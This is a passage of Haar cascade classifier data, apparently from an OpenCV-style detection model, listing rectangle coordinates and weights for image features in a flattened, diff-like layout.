11 22 1 3. + <_> + + <_> + 8 9 6 10 -1. + <_> + 10 9 2 10 3. + <_> + + <_> + 13 2 6 12 -1. + <_> + 16 2 3 6 2. + <_> + 13 8 3 6 2. + <_> + + <_> + 10 6 4 18 -1. + <_> + 10 6 2 9 2. + <_> + 12 15 2 9 2. + <_> + + <_> + 7 8 10 16 -1. + <_> + 12 8 5 8 2. + <_> + 7 16 5 8 2. + <_> + + <_> + 8 1 8 12 -1. + <_> + 8 1 4 6 2. + <_> + 12 7 4 6 2. + <_> + + <_> + 7 1 12 14 -1. + <_> + 13 1 6 7 2. + <_> + 7 8 6 7 2. + <_> + + <_> + 2 14 12 6 -1. + <_> + 2 16 12 2 3. + <_> + + <_> + 11 16 6 6 -1. + <_> + 11 19 6 3 2. + <_> + + <_> + 7 16 6 6 -1. + <_> + 7 19 6 3 2. + <_> + + <_> + 13 4 4 10 -1. + <_> + 13 4 2 10 2. + <_> + + <_> + 0 19 19 3 -1. + <_> + 0 20 19 1 3. + <_> + + <_> + 12 8 6 8 -1. + <_> + 12 12 6 4 2. + <_> + + <_> + 8 1 8 22 -1. + <_> + 8 12 8 11 2. + <_> + + <_> + 12 8 6 8 -1. + <_> + 12 12 6 4 2. + <_> + + <_> + 6 8 6 8 -1. + <_> + 6 12 6 4 2. + <_> + + <_> + 14 5 6 9 -1. + <_> + 14 8 6 3 3. + <_> + + <_> + 0 6 24 4 -1. + <_> + 0 8 24 2 2. + <_> + + <_> + 14 12 10 6 -1. + <_> + 14 14 10 2 3. + <_> + + <_> + 0 12 10 6 -1. + <_> + 0 14 10 2 3. + <_> + + <_> + 4 6 19 3 -1. + <_> + 4 7 19 1 3. + <_> + + <_> + 1 6 19 3 -1. + <_> + 1 7 19 1 3. + <_> + + <_> + 4 0 16 9 -1. + <_> + 4 3 16 3 3. + <_> + + <_> + 0 1 24 5 -1. + <_> + 8 1 8 5 3. + <_> + + <_> + 3 6 6 15 -1. + <_> + 3 11 6 5 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 0 17 18 3 -1. + <_> + 0 18 18 1 3. + <_> + + <_> + 6 22 18 2 -1. + <_> + 6 23 18 1 2. + <_> + + <_> + 2 12 6 9 -1. + <_> + 2 15 6 3 3. + <_> + + <_> + 18 12 6 9 -1. + <_> + 18 15 6 3 3. + <_> + + <_> + 0 12 6 9 -1. + <_> + 0 15 6 3 3. + <_> + + <_> + 11 14 4 10 -1. + <_> + 11 19 4 5 2. + <_> + + <_> + 9 6 6 16 -1. + <_> + 9 14 6 8 2. + <_> + + <_> + 7 7 10 10 -1. + <_> + 7 12 10 5 2. + <_> + + <_> + 1 3 6 13 -1. + <_> + 3 3 2 13 3. + <_> + + <_> + 18 1 6 13 -1. + <_> + 18 1 3 13 2. + <_> + + <_> + 5 1 6 9 -1. + <_> + 7 1 2 9 3. + <_> + + <_> + 18 2 6 11 -1. + <_> + 18 2 3 11 2. + <_> + + <_> + 0 2 6 11 -1. + <_> + 3 2 3 11 2. + <_> + + <_> + 9 12 15 6 -1. + <_> + 9 14 15 2 3. + <_> + + <_> + 2 2 20 3 -1. + <_> + 2 3 20 1 3. + <_> + + <_> + 10 6 4 9 -1. + <_> + 10 6 2 9 2. + <_> + + <_> + 5 6 12 14 -1. + <_> + 5 6 6 7 2. + <_> + 11 13 6 7 2. + <_> + + <_> + 9 0 6 9 -1. + <_> + 11 0 2 9 3. + <_> + + <_> + 7 0 9 6 -1. + <_> + 10 0 3 6 3. + <_> + + <_> + 10 6 6 9 -1. + <_> + 12 6 2 9 3. + <_> + + <_> + 4 1 12 20 -1. + <_> + 4 1 6 10 2. + <_> + 10 11 6 10 2. + <_> + + <_> + 6 7 18 3 -1. + <_> + 6 7 9 3 2. + <_> + + <_> + 0 7 18 3 -1. + <_> + 9 7 9 3 2. + <_> + + <_> + 3 20 18 3 -1. + <_> + 9 20 6 3 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 6 2 12 15 -1. + <_> + 10 2 4 15 3. + <_> + + <_> + 2 3 18 3 -1. + <_> + 2 4 18 1 3. + <_> + + <_> + 19 4 4 18 -1. + <_> + 21 4 2 9 2. + <_> + 19 13 2 9 2. + <_> + + <_> + 0 1 19 3 -1. + <_> + 0 2 19 1 3. + <_> + + <_> + 5 0 15 4 -1. + <_> + 5 2 15 2 2. + <_> + + <_> + 5 2 14 5 -1. + <_> + 12 2 7 5 2. + <_> + + <_> + 1 2 22 14 -1. + <_> + 1 2 11 14 2. + <_> + + <_> + 8 15 6 9 -1. + <_> + 10 15 2 9 3. + <_> + + <_> + 6 17 18 3 -1. + <_> + 6 18 18 1 3. + <_> + + <_> + 9 6 3 18 -1. + <_> + 9 12 3 6 3. + <_> + + <_> + 2 0 20 3 -1. + <_> + 2 1 20 1 3. + <_> + + <_> + 5 4 5 12 -1. + <_> + 5 8 5 4 3. + <_> + + <_> + 8 6 12 5 -1. + <_> + 12 6 4 5 3. + <_> + + <_> + 9 12 6 12 -1. + <_> + 9 12 3 6 2. + <_> + 12 18 3 6 2. + <_> + + <_> + 14 14 8 10 -1. + <_> + 18 14 4 5 2. + <_> + 14 19 4 5 2. + <_> + + <_> + 2 14 8 10 -1. + <_> + 2 14 4 5 2. + <_> + 6 19 4 5 2. + <_> + + <_> + 10 18 12 6 -1. + <_> + 16 18 6 3 2. + <_> + 10 21 6 3 2. + <_> + + <_> + 1 3 6 9 -1. + <_> + 1 6 6 3 3. + <_> + + <_> + 11 3 3 20 -1. + <_> + 12 3 1 20 3. + <_> + + <_> + 4 6 14 6 -1. + <_> + 4 6 7 3 2. + <_> + 11 9 7 3 2. + <_> + + <_> + 6 5 12 13 -1. + <_> + 10 5 4 13 3. + <_> + + <_> + 5 4 4 15 -1. + <_> + 5 9 4 5 3. + <_> + + <_> + 9 16 15 4 -1. + <_> + 14 16 5 4 3. + <_> + + <_> + 7 8 6 14 -1. + <_> + 7 8 3 7 2. + <_> + 10 15 3 7 2. + <_> + + <_> + 7 6 10 6 -1. + <_> + 7 8 10 2 3. + <_> + + <_> + 2 5 18 3 -1. + <_> + 2 6 18 1 3. + <_> + + <_> + 5 1 15 8 -1. + <_> + 5 5 15 4 2. + <_> + + <_> + 7 1 8 18 -1. + <_> + 7 10 8 9 2. + <_> + + <_> + 0 10 24 3 -1. + <_> + 0 11 24 1 3. + <_> + + <_> + 0 2 6 13 -1. + <_> + 2 2 2 13 3. + <_> + + <_> + 16 0 8 10 -1. + <_> + 20 0 4 5 2. + <_> + 16 5 4 5 2. + <_> + + <_> + 5 1 10 9 -1. + <_> + 5 4 10 3 3. + <_> + + <_> + 5 6 18 3 -1. + <_> + 5 7 18 1 3. + <_> + + <_> + 0 1 24 3 -1. + <_> + 0 2 24 1 3. + <_> + + <_> + 11 4 6 11 -1. + <_> + 13 4 2 11 3. + <_> + + <_> + 0 0 8 10 -1. + <_> + 0 0 4 5 2. + <_> + 4 5 4 5 2. + <_> + + <_> + 4 16 18 3 -1. + <_> + 4 17 18 1 3. + <_> + + <_> + 2 16 18 3 -1. + <_> + 2 17 18 1 3. + <_> + + <_> + 3 0 18 10 -1. + <_> + 12 0 9 5 2. + <_> + 3 5 9 5 2. + <_> + + <_> + 2 3 20 21 -1. + <_> + 12 3 10 21 2. + <_> + + <_> + 6 7 14 3 -1. + <_> + 6 7 7 3 2. + <_> + + <_> + 0 9 12 6 -1. + <_> + 0 9 6 3 2. + <_> + 6 12 6 3 2. + <_> + + <_> + 3 14 21 4 -1. + <_> + 10 14 7 4 3. + <_> + + <_> + 0 14 21 4 -1. + <_> + 7 14 7 4 3. + <_> + + <_> + 5 21 18 3 -1. + <_> + 11 21 6 3 3. + <_> + + <_> + 1 21 18 3 -1. + <_> + 7 21 6 3 3. + <_> + + <_> + 19 4 4 18 -1. + <_> + 21 4 2 9 2. + <_> + 19 13 2 9 2. + <_> + + <_> + 3 7 18 3 -1. + <_> + 3 8 18 1 3. + <_> + + <_> + 19 4 4 18 -1. + <_> + 21 4 2 9 2. + <_> + 19 13 2 9 2. + <_> + + <_> + 7 15 10 6 -1. + <_> + 7 17 10 2 3. + <_> + + <_> + 9 13 11 9 -1. + <_> + 9 16 11 3 3. + <_> + + <_> + 0 6 4 10 -1. + <_> + 0 11 4 5 2. + <_> + + <_> + 15 16 9 6 -1. + <_> + 15 18 9 2 3. + <_> + + <_> + 1 5 4 18 -1. + <_> + 1 5 2 9 2. + <_> + 3 14 2 9 2. + <_> + + <_> + 9 8 8 10 -1. + <_> + 13 8 4 5 2. + <_> + 9 13 4 5 2. + <_> + + <_> + 7 8 8 10 -1. + <_> + 7 8 4 5 2. + <_> + 11 13 4 5 2. + <_> + + <_> + 9 8 12 5 -1. + <_> + 13 8 4 5 3. + <_> + + <_> + 7 8 9 7 -1. + <_> + 10 8 3 7 3. + <_> + + <_> + 9 8 12 5 -1. + <_> + 13 8 4 5 3. + <_> + + <_> + 7 6 9 7 -1. + <_> + 10 6 3 7 3. + <_> + + <_> + 9 8 12 5 -1. + <_> + 13 8 4 5 3. + <_> + + <_> + 10 5 4 18 -1. + <_> + 10 11 4 6 3. + <_> + + <_> + 5 5 14 12 -1. + <_> + 5 11 14 6 2. + <_> + + <_> + 0 1 11 4 -1. + <_> + 0 3 11 2 2. + <_> + + <_> + 9 10 6 10 -1. + <_> + 11 10 2 10 3. + <_> + + <_> + 2 17 11 6 -1. + <_> + 2 19 11 2 3. + <_> + + <_> + 15 16 9 6 -1. + <_> + 15 18 9 2 3. + <_> + + <_> + 1 10 18 2 -1. + <_> + 1 11 18 1 2. + <_> + + <_> + 6 4 12 13 -1. + <_> + 10 4 4 13 3. + <_> + + <_> + 0 18 18 3 -1. + <_> + 0 19 18 1 3. + <_> + + <_> + 6 18 18 3 -1. + <_> + 6 19 18 1 3. + <_> + + <_> + 0 16 9 6 -1. + <_> + 0 18 9 2 3. + <_> + + <_> + 13 15 9 6 -1. + <_> + 13 17 9 2 3. + <_> + + <_> + 2 15 9 6 -1. + <_> + 2 17 9 2 3. + <_> + + <_> + 13 1 6 16 -1. + <_> + 13 1 3 16 2. + <_> + + <_> + 5 1 6 16 -1. + <_> + 8 1 3 16 2. + <_> + + <_> + 11 5 6 10 -1. + <_> + 13 5 2 10 3. + <_> + + <_> + 7 5 6 10 -1. + <_> + 9 5 2 10 3. + <_> + + <_> + 10 0 6 24 -1. + <_> + 12 0 2 24 3. + <_> + + <_> + 3 4 4 20 -1. + <_> + 3 4 2 10 2. + <_> + 5 14 2 10 2. + <_> + + <_> + 14 0 6 9 -1. + <_> + 16 0 2 9 3. + <_> + + <_> + 4 0 6 9 -1. + <_> + 6 0 2 9 3. + <_> + + <_> + 4 5 18 5 -1. + <_> + 10 5 6 5 3. + <_> + + <_> + 5 6 6 9 -1. + <_> + 7 6 2 9 3. + <_> + + <_> + 7 2 15 8 -1. + <_> + 12 2 5 8 3. + <_> + + <_> + 2 2 15 8 -1. + <_> + 7 2 5 8 3. + <_> + + <_> + 10 0 4 9 -1. + <_> + 10 0 2 9 2. + <_> + + <_> + 3 4 6 12 -1. + <_> + 3 4 3 6 2. + <_> + 6 10 3 6 2. + <_> + + <_> + 16 0 8 18 -1. + <_> + 16 0 4 18 2. + <_> + + <_> + 0 0 8 18 -1. + <_> + 4 0 4 18 2. + <_> + + <_> + 0 7 24 6 -1. + <_> + 0 9 24 2 3. + <_> + + <_> + 4 7 14 3 -1. + <_> + 11 7 7 3 2. + <_> + + <_> + 10 8 8 15 -1. + <_> + 10 8 4 15 2. + <_> + + <_> + 7 0 10 14 -1. + <_> + 12 0 5 14 2. + <_> + + <_> + 13 10 8 10 -1. + <_> + 17 10 4 5 2. + <_> + 13 15 4 5 2. + <_> + + <_> + 3 0 4 9 -1. + <_> + 5 0 2 9 2. + <_> + + <_> + 16 1 6 8 -1. + <_> + 16 1 3 8 2. + <_> + + <_> + 2 1 6 8 -1. + <_> + 5 1 3 8 2. + <_> + + <_> + 3 6 18 12 -1. + <_> + 3 10 18 4 3. + <_> + + <_> + 4 12 16 4 -1. + <_> + 4 14 16 2 2. + <_> + + <_> + 4 9 16 15 -1. + <_> + 4 14 16 5 3. + <_> + + <_> + 3 10 8 10 -1. + <_> + 3 10 4 5 2. + <_> + 7 15 4 5 2. + <_> + + <_> + 8 18 16 6 -1. + <_> + 16 18 8 3 2. + <_> + 8 21 8 3 2. + <_> + + <_> + 2 16 12 5 -1. + <_> + 6 16 4 5 3. + <_> + + <_> + 14 14 9 4 -1. + <_> + 14 16 9 2 2. + <_> + + <_> + 7 14 9 6 -1. + <_> + 7 16 9 2 3. + <_> + + <_> + 4 10 16 12 -1. + <_> + 4 14 16 4 3. + <_> + + <_> + 0 13 19 6 -1. + <_> + 0 15 19 2 3. + <_> + + <_> + 10 13 9 6 -1. + <_> + 10 15 9 2 3. + <_> + + <_> + 5 0 3 23 -1. + <_> + 6 0 1 23 3. + <_> + + <_> + 0 8 24 6 -1. + <_> + 0 10 24 2 3. + <_> + + <_> + 0 5 5 12 -1. + <_> + 0 9 5 4 3. + <_> + + <_> + 3 0 19 18 -1. + <_> + 3 9 19 9 2. + <_> + + <_> + 9 11 6 12 -1. + <_> + 9 11 3 6 2. + <_> + 12 17 3 6 2. + <_> + + <_> + 0 5 24 8 -1. + <_> + 12 5 12 4 2. + <_> + 0 9 12 4 2. + <_> + + <_> + 6 18 9 4 -1. + <_> + 6 20 9 2 2. + <_> + + <_> + 8 8 10 6 -1. + <_> + 8 10 10 2 3. + <_> + + <_> + 2 7 20 3 -1. + <_> + 2 8 20 1 3. + <_> + + <_> + 12 0 7 20 -1. + <_> + 12 10 7 10 2. + <_> + + <_> + 5 0 7 20 -1. + <_> + 5 10 7 10 2. + <_> + + <_> + 14 2 2 18 -1. + <_> + 14 11 2 9 2. + <_> + + <_> + 5 8 10 12 -1. + <_> + 10 8 5 12 2. + <_> + + <_> + 6 9 12 8 -1. + <_> + 12 9 6 4 2. + <_> + 6 13 6 4 2. + <_> + + <_> + 7 7 3 14 -1. + <_> + 7 14 3 7 2. + <_> + + <_> + 11 2 12 16 -1. + <_> + 17 2 6 8 2. + <_> + 11 10 6 8 2. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 13 14 9 4 -1. + <_> + 13 16 9 2 2. + <_> + + <_> + 0 12 22 4 -1. + <_> + 0 12 11 2 2. + <_> + 11 14 11 2 2. + <_> + + <_> + 1 12 22 6 -1. + <_> + 12 12 11 3 2. + <_> + 1 15 11 3 2. + <_> + + <_> + 6 6 9 6 -1. + <_> + 9 6 3 6 3. + <_> + + <_> + 10 0 4 9 -1. + <_> + 10 0 2 9 2. + <_> + + <_> + 3 8 18 7 -1. + <_> + 9 8 6 7 3. + <_> + + <_> + 0 6 24 6 -1. + <_> + 0 8 24 2 3. + <_> + + <_> + 0 11 24 10 -1. + <_> + 8 11 8 10 3. + <_> + + <_> + 3 3 18 21 -1. + <_> + 9 3 6 21 3. + <_> + + <_> + 7 12 4 10 -1. + <_> + 9 12 2 10 2. + <_> + + <_> + 10 16 10 8 -1. + <_> + 15 16 5 4 2. + <_> + 10 20 5 4 2. + <_> + + <_> + 8 6 6 9 -1. + <_> + 10 6 2 9 3. + <_> + + <_> + 12 10 6 12 -1. + <_> + 15 10 3 6 2. + <_> + 12 16 3 6 2. + <_> + + <_> + 6 10 6 12 -1. + <_> + 6 10 3 6 2. + <_> + 9 16 3 6 2. + <_> + + <_> + 16 12 6 12 -1. + <_> + 19 12 3 6 2. + <_> + 16 18 3 6 2. + <_> + + <_> + 2 12 6 12 -1. + <_> + 2 12 3 6 2. + <_> + 5 18 3 6 2. + <_> + + <_> + 10 15 6 9 -1. + <_> + 12 15 2 9 3. + <_> + + <_> + 8 15 6 9 -1. + <_> + 10 15 2 9 3. + <_> + + <_> + 14 20 10 4 -1. + <_> + 14 20 5 4 2. + <_> + + <_> + 0 20 10 4 -1. + <_> + 5 20 5 4 2. + <_> + + <_> + 11 17 9 6 -1. + <_> + 11 19 9 2 3. + <_> + + <_> + 3 2 14 4 -1. + <_> + 3 4 14 2 2. + <_> + + <_> + 10 1 10 4 -1. + <_> + 10 3 10 2 2. + <_> + + <_> + 0 15 10 4 -1. + <_> + 5 15 5 4 2. + <_> + + <_> + 19 2 3 19 -1. + <_> + 20 2 1 19 3. + <_> + + <_> + 4 12 9 8 -1. + <_> + 7 12 3 8 3. + <_> + + <_> + 4 7 5 12 -1. + <_> + 4 11 5 4 3. + <_> + + <_> + 0 1 24 3 -1. + <_> + 8 1 8 3 3. + <_> + + <_> + 6 8 12 4 -1. + <_> + 6 10 12 2 2. + <_> + + <_> + 19 3 4 10 -1. + <_> + 19 3 2 10 2. + <_> + + <_> + 0 6 9 6 -1. + <_> + 3 6 3 6 3. + <_> + + <_> + 18 0 6 22 -1. + <_> + 20 0 2 22 3. + <_> + + <_> + 0 0 6 22 -1. + <_> + 2 0 2 22 3. + <_> + + <_> + 5 15 19 3 -1. + <_> + 5 16 19 1 3. + <_> + + <_> + 10 7 4 15 -1. + <_> + 10 12 4 5 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 0 21 18 3 -1. + <_> + 0 22 18 1 3. + <_> + + <_> + 7 3 10 15 -1. + <_> + 7 8 10 5 3. + <_> + + <_> + 1 7 18 3 -1. + <_> + 1 8 18 1 3. + <_> + + <_> + 8 2 9 6 -1. + <_> + 11 2 3 6 3. + <_> + + <_> + 0 10 24 14 -1. + <_> + 0 17 24 7 2. + <_> + + <_> + 13 9 8 10 -1. + <_> + 17 9 4 5 2. + <_> + 13 14 4 5 2. + <_> + + <_> + 10 5 4 9 -1. + <_> + 12 5 2 9 2. + <_> + + <_> + 13 9 8 10 -1. + <_> + 17 9 4 5 2. + <_> + 13 14 4 5 2. + <_> + + <_> + 7 11 10 10 -1. + <_> + 7 11 5 5 2. + <_> + 12 16 5 5 2. + <_> + + <_> + 4 13 18 4 -1. + <_> + 13 13 9 2 2. + <_> + 4 15 9 2 2. + <_> + + <_> + 0 0 19 2 -1. + <_> + 0 1 19 1 2. + <_> + + <_> + 0 18 24 6 -1. + <_> + 8 18 8 6 3. + <_> + + <_> + 6 4 8 16 -1. + <_> + 6 12 8 8 2. + <_> + + <_> + 7 8 10 4 -1. + <_> + 7 10 10 2 2. + <_> + + <_> + 0 3 6 9 -1. + <_> + 0 6 6 3 3. + <_> + + <_> + 13 15 7 9 -1. + <_> + 13 18 7 3 3. + <_> + + <_> + 3 18 12 6 -1. + <_> + 3 18 6 3 2. + <_> + 9 21 6 3 2. + <_> + + <_> + 12 14 6 9 -1. + <_> + 12 17 6 3 3. + <_> + + <_> + 2 15 15 8 -1. + <_> + 2 19 15 4 2. + <_> + + <_> + 9 6 6 16 -1. + <_> + 9 14 6 8 2. + <_> + + <_> + 6 6 7 12 -1. + <_> + 6 10 7 4 3. + <_> + + <_> + 14 6 6 9 -1. + <_> + 14 9 6 3 3. + <_> + + <_> + 5 14 6 9 -1. + <_> + 5 17 6 3 3. + <_> + + <_> + 10 8 6 9 -1. + <_> + 12 8 2 9 3. + <_> + + <_> + 6 6 4 18 -1. + <_> + 6 6 2 9 2. + <_> + 8 15 2 9 2. + <_> + + <_> + 14 9 6 12 -1. + <_> + 17 9 3 6 2. + <_> + 14 15 3 6 2. + <_> + + <_> + 4 9 6 12 -1. + <_> + 4 9 3 6 2. + <_> + 7 15 3 6 2. + <_> + + <_> + 14 15 9 6 -1. + <_> + 14 17 9 2 3. + <_> + + <_> + 0 20 18 4 -1. + <_> + 0 20 9 2 2. + <_> + 9 22 9 2 2. + <_> + + <_> + 13 18 9 6 -1. + <_> + 13 20 9 2 3. + <_> + + <_> + 2 18 9 6 -1. + <_> + 2 20 9 2 3. + <_> + + <_> + 6 16 18 3 -1. + <_> + 6 17 18 1 3. + <_> + + <_> + 0 16 18 3 -1. + <_> + 0 17 18 1 3. + <_> + + <_> + 19 2 4 22 -1. + <_> + 21 2 2 11 2. + <_> + 19 13 2 11 2. + <_> + + <_> + 1 2 4 22 -1. + <_> + 1 2 2 11 2. + <_> + 3 13 2 11 2. + <_> + + <_> + 15 0 2 24 -1. + <_> + 15 0 1 24 2. + <_> + + <_> + 3 20 16 4 -1. + <_> + 11 20 8 4 2. + <_> + + <_> + 11 6 4 18 -1. + <_> + 13 6 2 9 2. + <_> + 11 15 2 9 2. + <_> + + <_> + 7 9 10 14 -1. + <_> + 7 9 5 7 2. + <_> + 12 16 5 7 2. + <_> + + <_> + 14 6 6 9 -1. + <_> + 14 9 6 3 3. + <_> + + <_> + 3 6 7 9 -1. + <_> + 3 9 7 3 3. + <_> + + <_> + 20 4 4 20 -1. + <_> + 22 4 2 10 2. + <_> + 20 14 2 10 2. + <_> + + <_> + 7 6 6 9 -1. + <_> + 7 9 6 3 3. + <_> + + <_> + 7 0 10 14 -1. + <_> + 12 0 5 7 2. + <_> + 7 7 5 7 2. + <_> + + <_> + 2 1 18 6 -1. + <_> + 11 1 9 6 2. + <_> + + <_> + 15 0 2 24 -1. + <_> + 15 0 1 24 2. + <_> + + <_> + 7 0 2 24 -1. + <_> + 8 0 1 24 2. + <_> + + <_> + 13 12 6 7 -1. + <_> + 13 12 3 7 2. + <_> + + <_> + 5 12 6 7 -1. + <_> + 8 12 3 7 2. + <_> + + <_> + 3 5 18 19 -1. + <_> + 9 5 6 19 3. + <_> + + <_> + 5 6 9 6 -1. + <_> + 8 6 3 6 3. + <_> + + <_> + 9 5 9 6 -1. + <_> + 12 5 3 6 3. + <_> + + <_> + 3 16 10 8 -1. + <_> + 3 16 5 4 2. + <_> + 8 20 5 4 2. + <_> + + <_> + 19 8 5 15 -1. + <_> + 19 13 5 5 3. + <_> + + <_> + 0 8 5 15 -1. + <_> + 0 13 5 5 3. + <_> + + <_> + 20 4 4 20 -1. + <_> + 22 4 2 10 2. + <_> + 20 14 2 10 2. + <_> + + <_> + 0 4 4 20 -1. + <_> + 0 4 2 10 2. + <_> + 2 14 2 10 2. + <_> + + <_> + 7 7 10 4 -1. + <_> + 7 7 5 4 2. + <_> + + <_> + 4 19 14 4 -1. + <_> + 11 19 7 4 2. + <_> + + <_> + 10 11 12 3 -1. + <_> + 10 11 6 3 2. + <_> + + <_> + 0 1 24 3 -1. + <_> + 0 2 24 1 3. + <_> + + <_> + 7 2 14 20 -1. + <_> + 14 2 7 10 2. + <_> + 7 12 7 10 2. + <_> + + <_> + 0 13 6 9 -1. + <_> + 2 13 2 9 3. + <_> + + <_> + 13 0 4 19 -1. + <_> + 13 0 2 19 2. + <_> + + <_> + 1 11 14 3 -1. + <_> + 8 11 7 3 2. + <_> + + <_> + 7 1 16 20 -1. + <_> + 15 1 8 10 2. + <_> + 7 11 8 10 2. + <_> + + <_> + 0 10 21 9 -1. + <_> + 7 10 7 9 3. + <_> + + <_> + 6 19 15 5 -1. + <_> + 11 19 5 5 3. + <_> + + <_> + 8 10 6 6 -1. + <_> + 11 10 3 6 2. + <_> + + <_> + 7 1 16 20 -1. + <_> + 15 1 8 10 2. + <_> + 7 11 8 10 2. + <_> + + <_> + 1 1 16 20 -1. + <_> + 1 1 8 10 2. + <_> + 9 11 8 10 2. + <_> + + <_> + 16 4 3 12 -1. + <_> + 16 10 3 6 2. + <_> + + <_> + 5 4 3 12 -1. + <_> + 5 10 3 6 2. + <_> + + <_> + 7 6 10 8 -1. + <_> + 12 6 5 4 2. + <_> + 7 10 5 4 2. + <_> + + <_> + 4 9 6 6 -1. + <_> + 4 12 6 3 2. + <_> + + <_> + 6 5 12 4 -1. + <_> + 6 7 12 2 2. + <_> + + <_> + 9 2 5 15 -1. + <_> + 9 7 5 5 3. + <_> + + <_> + 15 0 9 6 -1. + <_> + 15 2 9 2 3. + <_> + + <_> + 6 0 11 10 -1. + <_> + 6 5 11 5 2. + <_> + + <_> + 12 7 4 12 -1. + <_> + 12 13 4 6 2. + <_> + + <_> + 7 2 9 4 -1. + <_> + 7 4 9 2 2. + <_> + + <_> + 6 0 13 6 -1. + <_> + 6 2 13 2 3. + <_> + + <_> + 10 6 4 18 -1. + <_> + 10 6 2 9 2. + <_> + 12 15 2 9 2. + <_> + + <_> + 10 8 6 9 -1. + <_> + 12 8 2 9 3. + <_> + + <_> + 3 18 10 6 -1. + <_> + 3 20 10 2 3. + <_> + + <_> + 4 14 20 3 -1. + <_> + 4 15 20 1 3. + <_> + + <_> + 2 15 9 6 -1. + <_> + 2 17 9 2 3. + <_> + + <_> + 13 0 4 19 -1. + <_> + 13 0 2 19 2. + <_> + + <_> + 7 0 4 19 -1. + <_> + 9 0 2 19 2. + <_> + + <_> + 1 4 22 2 -1. + <_> + 1 5 22 1 2. + <_> + + <_> + 0 0 9 6 -1. + <_> + 0 2 9 2 3. + <_> + + <_> + 0 0 24 18 -1. + <_> + 0 9 24 9 2. + <_> + + <_> + 3 2 16 8 -1. + <_> + 3 6 16 4 2. + <_> + + <_> + 3 6 18 6 -1. + <_> + 3 8 18 2 3. + <_> + + <_> + 3 1 6 10 -1. + <_> + 5 1 2 10 3. + <_> + + <_> + 13 0 9 6 -1. + <_> + 16 0 3 6 3. + <_> + + <_> + 2 0 9 6 -1. + <_> + 5 0 3 6 3. + <_> + + <_> + 10 2 4 15 -1. + <_> + 10 7 4 5 3. + <_> + + <_> + 6 0 7 10 -1. + <_> + 6 5 7 5 2. + <_> + + <_> + 2 2 20 4 -1. + <_> + 12 2 10 2 2. + <_> + 2 4 10 2 2. + <_> + + <_> + 2 11 19 3 -1. + <_> + 2 12 19 1 3. + <_> + + <_> + 10 8 6 9 -1. + <_> + 12 8 2 9 3. + <_> + + <_> + 8 8 6 9 -1. + <_> + 10 8 2 9 3. + <_> + + <_> + 13 8 4 9 -1. + <_> + 13 8 2 9 2. + <_> + + <_> + 3 11 9 9 -1. + <_> + 6 11 3 9 3. + <_> + + <_> + 3 9 18 5 -1. + <_> + 9 9 6 5 3. + <_> + + <_> + 2 4 2 20 -1. + <_> + 2 14 2 10 2. + <_> + + <_> + 14 17 8 6 -1. + <_> + 14 20 8 3 2. + <_> + + <_> + 3 21 18 2 -1. + <_> + 3 22 18 1 2. + <_> + + <_> + 5 4 15 6 -1. + <_> + 10 4 5 6 3. + <_> + + <_> + 2 15 12 6 -1. + <_> + 2 17 12 2 3. + <_> + + <_> + 17 8 6 9 -1. + <_> + 17 11 6 3 3. + <_> + + <_> + 2 12 20 4 -1. + <_> + 2 12 10 2 2. + <_> + 12 14 10 2 2. + <_> + + <_> + 0 17 24 6 -1. + <_> + 0 19 24 2 3. + <_> + + <_> + 7 16 9 4 -1. + <_> + 7 18 9 2 2. + <_> + + <_> + 15 1 4 22 -1. + <_> + 17 1 2 11 2. + <_> + 15 12 2 11 2. + <_> + + <_> + 5 1 4 22 -1. + <_> + 5 1 2 11 2. + <_> + 7 12 2 11 2. + <_> + + <_> + 11 13 8 9 -1. + <_> + 11 16 8 3 3. + <_> + + <_> + 6 1 6 9 -1. + <_> + 8 1 2 9 3. + <_> + + <_> + 11 4 3 18 -1. + <_> + 11 10 3 6 3. + <_> + + <_> + 5 8 12 6 -1. + <_> + 5 8 6 3 2. + <_> + 11 11 6 3 2. + <_> + + <_> + 15 7 5 8 -1. + <_> + 15 11 5 4 2. + <_> + + <_> + 4 7 5 8 -1. + <_> + 4 11 5 4 2. + <_> + + <_> + 12 6 6 12 -1. + <_> + 15 6 3 6 2. + <_> + 12 12 3 6 2. + <_> + + <_> + 6 6 6 12 -1. + <_> + 6 6 3 6 2. + <_> + 9 12 3 6 2. + <_> + + <_> + 5 9 14 8 -1. + <_> + 12 9 7 4 2. + <_> + 5 13 7 4 2. + <_> + + <_> + 9 1 3 14 -1. + <_> + 9 8 3 7 2. + <_> + + <_> + 12 6 6 12 -1. + <_> + 12 10 6 4 3. + <_> + + <_> + 4 5 4 18 -1. + <_> + 4 5 2 9 2. + <_> + 6 14 2 9 2. + <_> + + <_> + 4 6 16 18 -1. + <_> + 4 12 16 6 3. + <_> + + <_> + 5 4 7 20 -1. + <_> + 5 14 7 10 2. + <_> + + <_> + 14 8 8 12 -1. + <_> + 14 14 8 6 2. + <_> + + <_> + 9 10 6 14 -1. + <_> + 9 10 3 7 2. + <_> + 12 17 3 7 2. + <_> + + <_> + 9 5 9 6 -1. + <_> + 12 5 3 6 3. + <_> + + <_> + 9 4 3 18 -1. + <_> + 10 4 1 18 3. + <_> + + <_> + 1 4 22 14 -1. + <_> + 12 4 11 7 2. + <_> + 1 11 11 7 2. + <_> + + <_> + 2 7 18 2 -1. + <_> + 2 8 18 1 2. + <_> + + <_> + 12 6 6 12 -1. + <_> + 12 10 6 4 3. + <_> + + <_> + 6 5 9 7 -1. + <_> + 9 5 3 7 3. + <_> + + <_> + 12 7 4 12 -1. + <_> + 12 13 4 6 2. + <_> + + <_> + 8 7 4 12 -1. + <_> + 8 13 4 6 2. + <_> + + <_> + 7 2 10 22 -1. + <_> + 7 13 10 11 2. + <_> + + <_> + 0 1 3 20 -1. + <_> + 1 1 1 20 3. + <_> + + <_> + 4 13 18 4 -1. + <_> + 13 13 9 2 2. + <_> + 4 15 9 2 2. + <_> + + <_> + 2 13 18 4 -1. + <_> + 2 13 9 2 2. + <_> + 11 15 9 2 2. + <_> + + <_> + 15 15 9 6 -1. + <_> + 15 17 9 2 3. + <_> + + <_> + 0 15 9 6 -1. + <_> + 0 17 9 2 3. + <_> + + <_> + 6 0 18 24 -1. + <_> + 15 0 9 12 2. + <_> + 6 12 9 12 2. + <_> + + <_> + 6 6 6 12 -1. + <_> + 6 10 6 4 3. + <_> + + <_> + 8 7 10 4 -1. + <_> + 8 9 10 2 2. + 